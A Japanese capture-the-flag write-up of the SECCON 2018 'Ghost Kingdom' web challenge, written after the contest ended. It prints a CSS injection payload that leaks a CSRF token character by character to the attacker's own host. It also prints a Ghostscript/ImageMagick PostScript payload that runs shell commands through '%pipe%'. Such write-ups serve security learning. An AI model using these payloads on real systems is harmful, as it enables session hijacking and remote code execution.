SECCON2018 WEB問題
先に申しますが、予選の日付勘違いし期間中に解いてません・・・
終了後ですが、WEB問題を解いていきます
問題の確認
WEBページが用意されていて、そこから値を抜き出す模様 flagは /FLAG/ フォルダに格納されている
ログインしてみると、uploadという項目があり、その利用にはローカルからのログインが必要となってる
Message to adminから確認
何らかのメッセージを管理者に送っているっぽい
ためしにemergencyにチェックを入れて次ページへ進むと、URLにcssの指定がありました。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=&action=msgadm2
base64っぽいので試しにdecodeしてみる
In [1]: import base64 In [2]: base64.b64decode("c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9") Out[2]: b'span{background-color:red;color:yellow}'
また、このページ内にcsrfトークンがhidden属性で入っていることを確認
Take a screenshotの確認
中に入るとscreenshotをとる項目があるので、そこを利用してログイン用URLを入れてみると、ローカルネットワークでのログインに成功
ちなみに127.0.0.1とかlocalhostはダメでした
Message to adminでcss injection
とりあえず手法がわからないため、css injectionでぐぐる
そうすると次のような方法が見つかりました
次のようなcssを仕込む(a~z)
input[name="csrf"][value^="a"]{background-image: url(http://[MyIP]?a)} input[name="csrf"][value^="a"]{background-image: url(http://[MyIP]?b)} ~~ 中略 ~~ input[name=csrf][value^="z"]{background-image: url(http://[MyIP]?z)}
上記を仕込むと、開始の文字列がMyIPに飛ぶ
例えば、valueがfから始まれば ?f でのアクセスがMyIPに飛ぶ
[ghost IP] - - [28/Oct/2018:19:08:27 +0900] "GET /?f HTTP/1.1" 403 202 "
これを利用すると、csrfのvalueがどの文字から始まるかがわかる
後は、順に1文字目、2文字目と求めていくだけ
よくみると数字も含まれている模様
英小文字と数字そうなので、それでパターンを順に試していく
出てきたtokenはこれ
51ba94a1c4c0e8e0841125
これでcookie中のセッションを上書きするとUploade Imageが使えるようになった
gifへの変換機能を備えた画像アップロード画面が出てくる
ghostMagick.cgiとかいうのが使われているっぽい
調べると、ちょっと前に話題になったimage magickの脆弱性に関係してくる
test.jpeg
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
これを投げると
FLAGflagF1A8.txtが/FLAG/ フォルダにあることがわかる
後はファイルに直接アクセスすると答えが出ました
SECCON{CSSinjection+GhostScript/ImageMagickRCE}